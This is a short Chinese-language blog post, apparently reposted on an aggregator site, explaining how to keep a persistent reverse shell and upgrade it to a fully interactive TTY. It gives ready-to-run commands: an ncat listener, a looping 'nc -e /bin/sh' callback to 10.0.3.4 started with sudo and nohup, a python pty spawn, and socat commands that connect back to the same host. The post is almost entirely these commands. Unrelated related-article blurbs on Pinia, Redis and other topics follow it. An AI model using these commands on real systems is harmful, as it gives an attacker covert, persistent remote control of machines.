持久化反弹一个能使用方向键的shell

这篇具有很好参考价值的文章主要介绍了持久化反弹一个能使用方向键的shell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

服务端

ncat -lvnp 4444

被控端

echo 'while true; do nc -e /bin/sh 10.0.3.4 5001; done' > keep,sh
chmod a+x ./keep.sh
sudo nohup ./keep.sh &

提升到pty

python -c 'import pty; pty.spawn("/bin/bash")'

进一步提升可以使用tab,方向键,ctrl+c SEGINT等
服务端

socat file:`tty`,raw,echo=0 tcp-listen:4444

被控端

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
export TERM=xterm256-color

参考:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/文章来源地址https://www.toymoban.com/news/detail-553282.html

到了这里,关于持久化反弹一个能使用方向键的shell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Pinia使用方法及持久化存储

    Pinia 是 Vue 的专属状态管理库,它允许你跨组件或页面共享状态。它跟 Vuex 有一定的相似度,但还是有很大的区别。 愿意看这篇博客的人,想必已经看过了官方文档,官方文档很详细,包含各种使用情景和理论,因此本文不说理论,只说具体的使用方法,想深入研究的建议去

    2024年02月08日
    浏览(52)
  • Redis的简单使用 (实现Session持久化)

    🎉🎉🎉 点进来你就是我的人了 博主主页: 🙈🙈🙈 戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔 🤺🤺🤺 目录 一、Redis数据类型的使用 1. 字符串(String) 2. 字典类型(哈希 Hashes) 3. 列表(Lists) 4. 集合(Sets) 5. 有序集合(Sorted sets) 二、SpringBoot连接Redis操

    2024年02月11日
    浏览(42)
  • 【iOS】数据持久化(四)之FMDB基本使用

    正如我们前面所看到的,原生SQLite API在使用时还是比较麻烦的,于是,开源社区就出现了一系列将SQLite API进行封装的库,其中FMDB的被大多数人所使用 FMDB和SQLite相比较,SQLite比较原始,操作比较复杂,使用的是C的函数对数据库进行操作,但是SQLite可控性更强,并且能够 跨平

    2024年01月18日
    浏览(38)
  • React Store及store持久化的使用

    store/modules/counterStore.ts: store/index.ts:   react-redux负责把Redux和React 链接 起来,内置 Provider组件,通过 store 参数把创建好的store实例注入到应用中,链接正式建立 main.tsx: useSelector,作用:在函数组件中获取redux数据存储对象中的某个数据 useDispatch,作用: 在函数组件中获取

    2024年01月17日
    浏览(42)
  • SpringBoot日志持久化以及使用lombok输出日志

    上一篇文章介绍了日志级别和自定义输出日志 链接 https://blog.csdn.net/qq_45875349/article/details/132510387?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22132510387%22%2C%22source%22%3A%22qq_45875349%22%7D 那么想要将控制台上的日志信息,保存在硬盘上,以便出问题之后追溯

    2024年02月11日
    浏览(44)
  • react中redux的详细使用以及持久化处理

    一.redux使用 1.安装 npm i  redux 例一: 2.创建redux文件夹,store.js文件 store.js文件 3.将提供者绑定到跟组件内外层,使每个被包裹的组件都可以使用store 4.更改状态 5.使用状态变化的组件 例二: 1.新建LoadingReducer.js文件 2.路由文件 3.在axios封装文件内使用 二.持久化 1.安装 npm i r

    2024年02月10日
    浏览(38)
  • Unity学习笔记--数据持久化之PlayerPrefs的使用

    PlayerPrefs是Unity游戏引擎中的一个类,用于在游戏中存储和访问玩家的偏好设置和数据。它可以用来保存玩家的游戏进度、设置选项、最高分数等信息。PlayerPrefs将数据存储在本地文件中,因此可以在游戏重新启动时保持数据的持久性。 PlayerPrefs中存储的数据存储在哪里? PC端

    2024年02月05日
    浏览(43)
  • 使用docker安装部署elasticsearch,并持久化到容器卷

    1.拉取Elasticsearch Docker镜像 在终端中执行以下命令来从Docker Hub拉取特定版本(如8.2.0)的Elasticsearch镜像。请确保你的网络连接正常,并且Docker已经在你的机器上安装并正确配置。 2.创建挂载目录 执行以下命令在本地创建文件夹,用于持久化 Elasticsearch 的数据和配置。 如果上述文

    2024年04月08日
    浏览(47)
  • 【k8s存储--使用OpenEBS做持久化存储】

    使用OpenEBS,你可以将有持久化数据的容器,像对待其他普通容器一样来对待。OpenEBS本身也是通过容器来部署的,支持Kubernetes、Swarm、Mesos、Rancher编排调度,存储服务可以分派给每个pod、应用程序、集群或者容器级别,包括: 跨节点的数据持久化 跨可用区和云厂商的数据同步

    2024年04月23日
    浏览(34)
  • react中使用redux-persist做持久化储存

    某天下午折腾着玩的 – 笔记 安装相关依赖 将 store 提供给应用程序:将 Redux store 提供给根组件,以便在整个应用程序中可以访问到 Redux 状态 reducer 示例: 在组件中使用

    2024年02月14日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包